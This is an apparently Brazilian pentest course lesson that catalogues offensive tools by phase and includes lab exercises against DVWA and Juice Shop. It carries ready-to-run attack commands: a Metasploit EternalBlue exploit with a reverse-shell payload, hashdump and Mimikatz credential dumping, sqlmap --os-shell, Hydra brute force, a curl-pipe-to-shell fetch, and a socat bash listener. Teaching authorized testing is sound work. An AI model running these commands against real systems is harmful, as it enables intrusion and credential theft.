Ferramentas Diversas

Canivete Suíço

Uma coleção de ferramentas úteis para diversas situações em segurança da informação.

Uso Legal e Ético

O uso de ferramentas ofensivas sem autorização explícita é crime previsto no Art. 154-A do Código Penal Brasileiro (“Invasão de Dispositivo Informático”), com pena de reclusão de 1 a 4 anos e multa. Toda prática desta aula deve ocorrer em laboratório controlado ou em alvos para os quais você possui autorização por escrito. Documente sempre o escopo, as regras de engajamento (Rules of Engagement) e as ações realizadas.


🗺️ Panorama Geral: Fases do Pentest e Ferramentas

O teste de invasão segue metodologias reconhecidas internacionalmente. As principais são:

  • PTES (Penetration Testing Execution Standard): 7 fases, do planejamento à geração de relatório.
  • OWASP WSTG (Web Security Testing Guide): foco em aplicações web, checklist detalhada de vulnerabilidades.
  • NIST SP 800-115: padrão formal para ambientes corporativos e de conformidade.
  • MITRE ATT&CK: framework de táticas, técnicas e procedimentos (TTPs) de atacantes reais, útil para emulação adversária em red team.

A combinação mais usada na prática em 2026 é: PTES para o engajamento, OWASP para web e ATT&CK para emulação de ameaças.

flowchart LR
    A["1. Pré-engajamento<br/>(Escopo, RoE, NDA)"]
    B["2. Reconhecimento<br/>(Passivo e Ativo)"]
    C["3. Varredura e Enumeração<br/>(Portas, Serviços, Versões)"]
    D["4. Análise de Vulnerabilidades<br/>(Identificar falhas)"]
    E["5. Exploração<br/>(Ganhar acesso)"]
    F["6. Pós-exploração<br/>(Pivot, Escalada, Persistência)"]
    G["7. Relatório<br/>(Evidências, Remediações)"]

    A --> B --> C --> D --> E --> F --> G

    B --> B1["nmap -sn<br/>theHarvester<br/>recon-ng<br/>Shodan<br/>Maltego"]
    C --> C1["nmap -sV<br/>gobuster<br/>ffuf<br/>nikto<br/>whatweb"]
    D --> D1["nessus<br/>openvas<br/>nikto<br/>searchsploit"]
    E --> E1["Metasploit<br/>sqlmap<br/>Burp Suite<br/>hydra"]
    F --> F1["Mimikatz<br/>BloodHound<br/>LinPEAS<br/>WinPEAS<br/>socat<br/>netcat"]

🔍 Fase 1: Reconhecimento (Reconnaissance)

Reconhecimento Passivo vs. Ativo

Passivo: coleta de informações sem interação direta com o alvo (OSINT). Ativo: interação direta com sistemas do alvo, podendo gerar logs.

theHarvester: OSINT de E-mails, Subdomínios e Hosts

Ferramenta essencial para reconhecimento passivo: coleta e-mails, subdomínios, IPs e nomes de hosts a partir de fontes públicas (Google, Bing, LinkedIn, Shodan, etc.).

# Coletar e-mails e subdomínios de um domínio usando múltiplas fontes
theHarvester -d alvo.com.br -b google,bing,linkedin -l 500
 
# Usar Shodan como fonte (requer API key)
theHarvester -d alvo.com.br -b shodan

recon-ng: Framework de OSINT Modular

Framework modular para reconhecimento, semelhante ao Metasploit, mas focado em OSINT.

# Iniciar recon-ng
recon-ng
 
# Dentro do framework: carregar módulo de busca de contatos
marketplace install recon/domains-contacts/whois_pocs
modules load recon/domains-contacts/whois_pocs
options set SOURCE alvo.com.br
run

Shodan: Motor de Busca para Dispositivos Conectados

Shodan indexa dispositivos IoT, câmeras, servidores e sistemas SCADA expostos na internet. Útil para reconhecimento passivo de infraestrutura.

  • Site: shodan.io
  • Filtros úteis: hostname:alvo.com.br, port:3389 country:BR, org:"Nome da Empresa"

Maltego: Mapeamento Visual de Relações (OSINT)

Ferramenta gráfica para correlacionar entidades: domínios, IPs, pessoas, organizações. Muito usada em inteligência corporativa e investigações.

# Instalar no Kali (Community Edition gratuita)
apt install maltego

📡 Fase 2: Varredura e Enumeração 🔎

Ferramentas de Varredura

Nesta fase, o objetivo é mapear portas abertas, serviços em execução, versões de software e possíveis vetores de ataque.

nmap: O Canivete Suíço da Varredura de Rede

O nmap é a ferramenta mais usada em reconhecimento ativo. Permite descobrir hosts ativos, portas abertas, serviços, versões e até o sistema operacional.

# Descoberta de hosts na rede (ping scan)
nmap -sn 192.168.1.0/24
 
# Varredura de portas comuns com detecção de serviço e versão
nmap -sV -sC 192.168.1.10
 
# Varredura completa: todas as portas, scripts NSE, versões, OS
nmap -A -p- 192.168.1.10
 
# Varredura furtiva SYN (requer root)
sudo nmap -sS 192.168.1.10
 
# Exportar resultado para XML (útil para relatórios)
nmap -oX resultado.xml 192.168.1.10
 
# Varredura com script específico (ex: verificar SMB)
nmap --script smb-vuln-ms17-010 192.168.1.10

Scripts NSE

O nmap possui centenas de scripts NSE (Nmap Scripting Engine) em /usr/share/nmap/scripts/. Explore com nmap --script-help "*vuln*".

gobuster: Força Bruta de Diretórios e Subdomínios

Gobuster é escrito em Go e realiza enumeração por força bruta de diretórios web, arquivos, subdomínios DNS e buckets S3. Ainda amplamente utilizado em 2026 por ser rápido e simples.

# Enumeração de diretórios em aplicação web
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.txt
 
# Enumeração com extensões específicas
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
 
# Enumeração de subdomínios
gobuster dns -d alvo.com.br -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 
# Enumeração de virtual hosts
gobuster vhost -u http://alvo.com.br -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

ffuf: Fuzzer Web de Alta Performance (Padrão em 2026)

O ffuf (Fuzz Faster U Fool) é escrito em Go e se tornou o fuzzer web preferido a partir de 2022, substituindo dirb e gobuster na maioria dos fluxos. Suporta fuzzing de diretórios, parâmetros, cabeçalhos, corpos POST e endpoints de API.

# Fuzzing de diretórios
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.1.10/FUZZ
 
# Fuzzing com extensões
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.1.10/FUZZ -e .php,.html,.txt
 
# Fuzzing de parâmetros GET
ffuf -w params.txt -u "http://192.168.1.10/search?FUZZ=teste"
 
# Fuzzing de virtual hosts
ffuf -w subdomains.txt -u http://192.168.1.10 -H "Host: FUZZ.alvo.com.br" -fs 1234
 
# Filtrar respostas por tamanho (remover falsos positivos)
ffuf -w wordlist.txt -u http://192.168.1.10/FUZZ -fs 0,4242
 
# Salvar resultado em JSON
ffuf -w wordlist.txt -u http://192.168.1.10/FUZZ -o resultado.json -of json

Nikto: Scanner de Vulnerabilidades Web

Nikto verifica servidores e aplicações web em busca de arquivos perigosos conhecidos, configurações desatualizadas, cabeçalhos HTTP inseguros e versões vulneráveis.

# Varredura básica
nikto -h http://192.168.1.10
 
# Com autenticação HTTP Basic
nikto -h http://192.168.1.10 -id usuario:senha
 
# Varredura em porta específica
nikto -h 192.168.1.10 -p 8080
 
# Salvar resultado em HTML
nikto -h http://192.168.1.10 -o relatorio.html -Format html

WhatWeb: Fingerprinting de Tecnologias Web

Identifica CMS (WordPress, Joomla), frameworks, linguagens de servidor, versões e plugins.

# Identificação básica
whatweb http://192.168.1.10
 
# Modo agressivo (mais detalhado)
whatweb -a 3 http://192.168.1.10
 
# Varredura de múltiplos alvos
whatweb --input-file alvos.txt

💥 Fase 3: Análise de Vulnerabilidades e Exploração 🎯

Atenção

As ferramentas desta seção só devem ser usadas em ambientes de laboratório ou com autorização por escrito. O uso não autorizado é crime (Art. 154-A CP).

Metasploit Framework: A Plataforma de Exploração

O Metasploit é o framework de exploração mais completo do mundo. Possui mais de 2.000 exploits, centenas de payloads, encoders e módulos de pós-exploração (keyloggers, Mimikatz, pivoting).

# Iniciar o console do Metasploit
msfconsole
 
# Dentro do msfconsole:
 
# Buscar exploit para uma vulnerabilidade
search ms17-010
 
# Usar um módulo
use exploit/windows/smb/ms17_010_eternalblue
 
# Ver opções do módulo
show options
 
# Configurar alvo
set RHOSTS 192.168.1.10
 
# Configurar payload
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
 
# Executar
run
 
# Dentro do Meterpreter (pós-exploração):
sysinfo          # Informações do sistema
getuid           # Usuário atual
getsystem        # Tentar escalar para SYSTEM
hashdump         # Extrair hashes de senha
shell            # Abrir shell do SO
upload arquivo   # Enviar arquivo ao alvo
download arquivo # Baixar arquivo do alvo

searchsploit: Busca Offline de Exploits

O searchsploit permite buscar exploits no banco do Exploit-DB sem internet.

searchsploit apache 2.4
searchsploit -x exploits/linux/remote/12345.py  # Ver código
searchsploit -m exploits/linux/remote/12345.py  # Copiar para o diretório atual

sqlmap: Automação de SQL Injection

Detecta e explora automaticamente vulnerabilidades de SQL Injection em parâmetros de aplicações web.

# Teste básico em URL com parâmetro
sqlmap -u "http://192.168.1.10/page.php?id=1"
 
# Testar todos os parâmetros
sqlmap -u "http://192.168.1.10/page.php?id=1" --level=3 --risk=2
 
# Enumerar bancos de dados
sqlmap -u "http://192.168.1.10/page.php?id=1" --dbs
 
# Enumerar tabelas de um banco
sqlmap -u "http://192.168.1.10/page.php?id=1" -D nome_banco --tables
 
# Despejar conteúdo de uma tabela
sqlmap -u "http://192.168.1.10/page.php?id=1" -D nome_banco -T usuarios --dump
 
# Testar requisição POST (salvar com Burp e usar -r)
sqlmap -r request.txt --dbs
 
# Tentar obter shell no servidor
sqlmap -u "http://192.168.1.10/page.php?id=1" --os-shell

Burp Suite: Proxy e Analisador de Aplicações Web

O Burp Suite é a suíte mais completa para testes de segurança em aplicações web. Intercepta, modifica e repete requisições HTTP/HTTPS.

Módulos principais:

  • Proxy: intercepta requisições entre o browser e o servidor.
  • Repeater: modifica e reenvia requisições manualmente.
  • Intruder: automação de ataques (brute force, fuzzing).
  • Scanner (Pro): varredura automática de vulnerabilidades.
  • Decoder: codifica/decodifica dados (Base64, URL encoding, etc.).
# Iniciar no Kali
burpsuite
 
# Configurar o browser para usar proxy: 127.0.0.1:8080
# Instalar certificado do Burp no browser para interceptar HTTPS

Burp Suite Community vs. Pro

A versão Community é gratuita e inclui Proxy, Repeater, Decoder e Intruder (limitado). A versão Pro adiciona Scanner automático e Intruder sem limitações.

Hydra: Força Bruta de Autenticação

Hydra realiza ataques de força bruta e dicionário contra serviços de autenticação: SSH, FTP, HTTP, SMB, RDP, MySQL, SMTP, entre outros.

# Força bruta SSH com lista de senhas
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
 
# Força bruta com lista de usuários e senhas
hydra -L users.txt -P passwords.txt ssh://192.168.1.10
 
# Força bruta em formulário HTTP POST
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:Senha incorreta"
 
# Força bruta FTP
hydra -l ftp_user -P passwords.txt ftp://192.168.1.10
 
# Força bruta RDP (Remote Desktop)
hydra -l administrator -P passwords.txt rdp://192.168.1.10

Dicionários de Senhas

O rockyou.txt é o wordlist mais famoso para testes. No Kali: /usr/share/wordlists/rockyou.txt.gz (descompactar com gunzip). A coleção SecLists (disponível em /usr/share/wordlists/SecLists/ ou no GitHub) é ainda mais abrangente.


🔐 Fase 4: Pós-Exploração e Escalada de Privilégios ⬆️

Pós-Exploração

Após obter acesso inicial, o objetivo é: manter persistência, escalar privilégios, mover-se lateralmente pela rede e exfiltrar dados de interesse (tudo dentro do escopo autorizado).

LinPEAS e WinPEAS: Enumeração de Vetores de Escalada

Scripts de enumeração automática para identificar vetores de escalada de privilégios em sistemas Linux e Windows.

# LinPEAS: executar no alvo Linux após obter shell
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
 
# Ou transferir e executar
wget http://SEU_IP/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
 
# WinPEAS: executar no alvo Windows (via Meterpreter ou shell)
# Transferir winPEAS.exe e executar
.\winPEAS.exe

GTFOBins e LOLBAS

GTFOBins (gtfobins.github.io) é um catálogo de binários Unix que podem ser usados para escalar privilégios ou contornar restrições. LOLBAS (lolbas-project.github.io) é o equivalente para Windows. Consulte ao encontrar binários SUID ou permissões sudo incomuns.

BloodHound: Mapeamento de Active Directory

BloodHound é uma ferramenta essencial para testes em ambientes Windows com Active Directory. Usa teoria de grafos para visualizar e encontrar caminhos de ataque, incluindo rotas de escalada de privilégios e movimentação lateral.

# Instalar BloodHound e neo4j no Kali
apt install bloodhound neo4j
 
# Iniciar neo4j (banco de dados de grafos)
neo4j start
 
# Coletar dados do AD com SharpHound (executar no Windows alvo)
.\SharpHound.exe --CollectionMethods All
 
# Ou usar o coletor Python (sem precisar executar no Windows)
bloodhound-python -u usuario -p senha -d dominio.local -c All
 
# Iniciar BloodHound e importar o ZIP gerado pelo SharpHound
bloodhound
# Interface gráfica: importar arquivo ZIP e executar queries pré-definidas
# Ex: "Shortest Paths to Domain Admins"

Mimikatz: Extração de Credenciais Windows

Mimikatz é a ferramenta mais famosa para extração de hashes, tickets Kerberos e senhas em texto claro da memória de processos Windows. Já está integrado ao Metasploit como módulo pós-exploração.

# Via Meterpreter (após exploração com Metasploit)
load kiwi
creds_all         # Extrair todas as credenciais
lsa_dump_sam      # Dump do banco SAM
lsa_dump_secrets  # Dump de segredos LSA

John the Ripper: Quebra de Hashes

John the Ripper suporta centenas de formatos de hash: Unix crypt, MD5, SHA1/256/512, NTLM, bcrypt, Kerberos, entre outros.

# Quebrar hashes do arquivo /etc/shadow
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
 
# Identificar formato do hash automaticamente
john --list=formats | grep -i md5
 
# Quebrar hash específico com formato definido
john --format=NT --wordlist=rockyou.txt hashes_ntlm.txt
 
# Retomar sessão interrompida
john --restore
 
# Ver senhas já quebradas
john --show hash.txt

hashcat: Quebra de Hashes com GPU

Hashcat é a ferramenta de quebra de hashes mais rápida, usando a GPU para acelerar o processo. Suporta ataques de dicionário, força bruta, máscara e combinação.

# Identificar tipo do hash (uso online: hash-identifier ou hashid)
hashid '$1$xyz$hash...'
 
# Ataque de dicionário (modo -a 0)
hashcat -m 1000 -a 0 hashes_ntlm.txt rockyou.txt
 
# Ataque de máscara: senhas 8 chars, minúsculas + números
hashcat -m 1000 -a 3 hashes.txt '?l?l?l?l?d?d?d?d'
 
# Modos de hash comuns:
# -m 0    = MD5
# -m 100  = SHA1
# -m 1000 = NTLM (Windows)
# -m 1800 = sha512crypt (Linux /etc/shadow)
# -m 13100 = Kerberoasting (TGS-REP)
# -m 22000 = WPA2
 
# Ver resultado
hashcat -m 1000 hashes.txt --show

🌐 Fase 5: Ferramentas para Aplicações Web 🕸️

OWASP Top 10: O Mapa das Vulnerabilidades Web

O OWASP Top 10 é o referencial mais importante para segurança de aplicações web. Em 2021/2025, as categorias principais são:

PosiçãoCategoriaExemplos de Ferramentas
A01Controle de Acesso QuebradoBurp Suite, ffuf
A02Falhas Criptográficastestssl.sh, SSLScan
A03Injeção (SQL, XSS, etc.)sqlmap, Burp Suite
A04Design InseguroRevisão manual
A05Configuração IncorretaNikto, nmap
A06Componentes Vulneráveisretire.js, Dependency-Check
A07Falhas de AutenticaçãoHydra, Burp Intruder
A08Falhas de Integridade de SoftwareRevisão manual
A09Falha de Log e MonitoramentoRevisão manual
A10SSRF (Server-Side Request Forgery)Burp Suite

CyberChef: Análise e Transformação de Dados

CyberChef é a “faca suíça” para análise de dados. Codifica, decodifica, converte, analisa hashes, descomprime e transforma dados de dezenas de formas. Disponível online e offline.

testssl.sh: Análise de Configuração TLS/SSL

# Analisar configuração SSL/TLS de um servidor
./testssl.sh https://alvo.com.br
 
# Verificar vulnerabilidades específicas (Heartbleed, POODLE, etc.)
./testssl.sh --vulnerable https://alvo.com.br

🔗 Rastreamento de IP e OSINT Online

IP Logger

IP Logger: Encurtador de URL com Rastreamento

Funcionalidades:

  • Encurtar URLs
  • Rastrear cliques
  • Capturar informações do visitante (IP, localização, dispositivo)

Use com responsabilidade e apenas para fins legítimos e com consentimento.


🌐 Ferramentas Online Úteis

Utilidades Web

CategoriaFerramentaURL
Encode/DecodeCyberChefgchq.github.io/CyberChef
HashesCrackStationcrackstation.net
DNSDNSdumpsterdnsdumpster.com
Análise de arquivosVirusTotalvirustotal.com
OSINTOSINT Frameworkosintframework.com
GeolocalizaçãoIPinfoipinfo.io
OSINT gráficoMaltegomaltego.com
IoT/Infra expostaShodanshodan.io
ExploitsExploit-DBexploit-db.com
CVEsNVDnvd.nist.gov
Escala priv. LinuxGTFOBinsgtfobins.github.io
Escala priv. WindowsLOLBASlolbas-project.github.io
Hash identifierhash-identifieronline ou hashid no Kali
RegexRegex101regex101.com
Subdomainscrt.shcrt.sh

🛠️ Ferramentas de Terminal

CLI Tools Essenciais

FerramentaFaseDescriçãoComando Básico
curlRecon/WebRequisições HTTPcurl -I http://alvo.com
wgetGeralDownload de arquivoswget http://alvo.com/arquivo
nc (netcat)Exploit/PósCanivete suíço de redenc -lvnp 4444 (listener)
tcpdumpReconCaptura de pacotestcpdump -i eth0 -w captura.pcap
socatPós-exploitRelay e tunelamentosocat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
jqGeralProcessar JSON`curl api/endpoint
WiresharkRecon/AnáliseAnálise de tráfego (GUI)wireshark
ncatExploitNetcat moderno (nmap)ncat -lvnp 4444 --ssl
opensslWeb/CriptoTestes TLS e criptografiaopenssl s_client -connect alvo:443
enum4linuxReconEnumeração SMB/Windowsenum4linux -a 192.168.1.10
smbclientReconAcesso a compartilhamentos SMBsmbclient -L //192.168.1.10 -N
digReconConsultas DNSdig axfr @ns.alvo.com alvo.com (tentativa de zone transfer)
whoisReconInformações de domíniowhois alvo.com.br

🖥️ Ambientes de Prática (Lab Targets)

Alvos de Laboratório Legais

Para praticar sem cometer crime, use ambientes intencionalmente vulneráveis:

AmbienteTipoInstalaçãoUso Principal
DVWA (Damn Vulnerable Web App)WebDocker: docker run -p 80:80 vulnerables/web-dvwaSQL Injection, XSS, CSRF, LFI
OWASP Juice ShopWebDocker: docker run -p 3000:3000 bkimminich/juice-shopOWASP Top 10 completo
Metasploitable 2/3VMVirtualBox/VMwareExploração geral, Metasploit
VulnHubVMDownload em vulnhub.comMáquinas CTF diversas
Hack The BoxOnlinehackthebox.comPentest real, CTF online
TryHackMeOnlinetryhackme.comTrilhas guiadas para iniciantes
PicoCTFOnlinepicoctf.orgCTF educacional

📊 Catálogo Consolidado: Ferramentas por Fase

FerramentaFaseTipoComando BásicoSO
theHarvesterReconhecimento passivoOSINTtheHarvester -d alvo.com -b googleLinux
recon-ngReconhecimento passivoFramework OSINTrecon-ngLinux
ShodanReconhecimento passivoOSINT webshodan host 1.2.3.4Online/CLI
MaltegoReconhecimento passivoOSINT gráficomaltegoWin/Lin/Mac
nmapVarreduraRedenmap -sV -sC 192.168.1.10Cross
gobusterVarredura webFuzzinggobuster dir -u http://alvo -w wordlist.txtLinux
ffufVarredura webFuzzingffuf -w wordlist.txt -u http://alvo/FUZZCross
niktoAnálise de vuln.Web scannernikto -h http://alvoLinux
whatwebVarredura webFingerprintingwhatweb http://alvoLinux
MetasploitExploraçãoFrameworkmsfconsoleLinux
searchsploitAnálise de vuln.Exploit searchsearchsploit apache 2.4Linux
Burp SuiteWebProxy/ScannerburpsuiteCross
sqlmapExploraçãoSQL Injectionsqlmap -u "http://alvo?id=1" --dbsCross
HydraExploraçãoBrute forcehydra -l admin -P rockyou.txt ssh://alvoLinux
LinPEASPós-exploraçãoEscala priv. Linux./linpeas.shLinux
WinPEASPós-exploraçãoEscala priv. Windows.\winPEAS.exeWindows
BloodHoundPós-exploraçãoAD analysisbloodhoundLinux/Win
MimikatzPós-exploraçãoCredenciaisVia Metasploit: load kiwiWindows
John the RipperPós-exploraçãoHash crackingjohn --wordlist=rockyou.txt hashes.txtCross
hashcatPós-exploraçãoHash cracking GPUhashcat -m 1000 -a 0 hashes.txt rockyou.txtCross
netcatPós-exploraçãoShell reversonc -lvnp 4444Cross
WiresharkAnáliseTráfego de redewiresharkCross
CyberChefAnáliseTransformação dadosNavegadorOnline
tcpdumpAnáliseCapturatcpdump -i eth0Linux

📱 Apps Úteis

Aplicativos Móveis

AppPlataformaUso
FingiOS/AndroidScanner de rede
TermuxAndroidTerminal Linux
WiFi AnalyzerAndroidAnálise de redes Wi-Fi
nzymeAndroidMonitoramento 802.11

🧪 Atividades Práticas

🧪 Atividade 1: Instalando e Rodando ffuf, Fuzzing de Diretórios no DVWA

Objetivo: instalar o ffuf e realizar fuzzing de diretórios em um alvo de laboratório (DVWA).

Pré-requisito: DVWA rodando localmente via Docker.

# 1. Subir o DVWA no Docker (se ainda não estiver rodando)
docker run -d -p 80:80 vulnerables/web-dvwa
 
# 2. Instalar ffuf (já vem no Kali; se não tiver):
sudo apt install ffuf
# Ou via Go:
go install github.com/ffuf/ffuf/v2@latest
 
# 3. Verificar instalação
ffuf -V
 
# 4. Realizar fuzzing de diretórios no DVWA
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://localhost/FUZZ
 
# 5. Filtrar resultados: exibir só respostas HTTP 200 e 301
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://localhost/FUZZ -mc 200,301
 
# 6. Buscar arquivos .php especificamente
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://localhost/FUZZ -e .php -mc 200

Resultado esperado: o ffuf listará diretórios e arquivos do DVWA como /login.php, /setup.php, /dvwa/, /config/, entre outros. Compare com o que você consegue acessar no browser.

Reflexão: o que cada diretório encontrado revela sobre a estrutura da aplicação? Algum deles expõe informações sensíveis?

🧪 Atividade 2: Montando Seu Toolkit Pessoal por Fase do Pentest

Objetivo: cada aluno deve construir sua própria tabela de toolkit, escolhendo ao menos 2 ferramentas por fase e justificando a escolha.

Instruções:

  1. Copie o template abaixo em seu caderno/Obsidian.
  2. Para cada fase, escolha as ferramentas que prefere (pode incluir ferramentas desta aula ou outras que pesquisar).
  3. Escreva um comando básico real para cada ferramenta escolhida.
  4. Apresente para a turma e justifique suas escolhas.

Template de Toolkit Pessoal:

FaseFerramenta 1ComandoFerramenta 2Comando
Reconhecimento passivo
Varredura de rede
Varredura web
Análise de vulnerabilidades
Exploração
Pós-exploração / Escalada
Cracking de senhas
Relatório / Evidências

Dica: não existe toolkit único certo. O importante é conhecer os pontos fortes de cada ferramenta e quando aplicar cada uma.

🧪 Atividade 3: Reconhecimento com gobuster no Juice Shop

Objetivo: usar o gobuster para descobrir endpoints ocultos no OWASP Juice Shop, depois validar manualmente no browser.

Pré-requisito: Juice Shop rodando localmente.

# 1. Subir o Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop
 
# 2. Enumeração básica de diretórios
gobuster dir -u http://localhost:3000 -w /usr/share/wordlists/dirb/common.txt
 
# 3. Enumeração com extensão .js (Juice Shop usa muito JavaScript)
gobuster dir -u http://localhost:3000 -w /usr/share/wordlists/dirb/common.txt -x js,json,txt
 
# 4. Tentar encontrar endpoints de API
gobuster dir -u http://localhost:3000/api -w /usr/share/wordlists/dirb/common.txt
 
# 5. Comparar com ffuf (mesma tarefa, ferramenta diferente)
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://localhost:3000/FUZZ -mc 200,301,302

Resultado esperado: endpoints como /api/Users, /ftp/, /assets/, /metrics, e rotas de admin ocultas. Alguns diretórios permitem listar arquivos, o que já é uma vulnerabilidade de configuração.

Entrega: um relatório simples com: lista de endpoints encontrados, status HTTP de cada um, e quais representam risco (ex: FTP público, endpoints de admin sem autenticação).


⚠️ Considerações Éticas e Legais

Uso Ético e Responsável

  • Use ferramentas apenas em alvos autorizados (laboratório, bug bounty com escopo definido, contrato assinado).
  • Rastreamento de pessoas sem consentimento é ilegal (Lei Geral de Proteção de Dados, Lei 13.709/2018).
  • Ataque a sistemas sem autorização é crime pelo Art. 154-A do Código Penal (pena: 1 a 4 anos + multa).
  • Sempre documente suas atividades durante pentests: escopo, comandos, evidências, horários.
  • Em projetos de pesquisa ou TCC, obtenha aprovação do Comitê de Ética quando aplicável.
  • A divulgação responsável de vulnerabilidades (responsible disclosure) é a prática correta ao encontrar falhas em sistemas reais.

Ética em Segurança

“A diferença entre um pentester e um criminoso não é o conhecimento, são a autorização e a intenção.”


📚 Fontes (2026)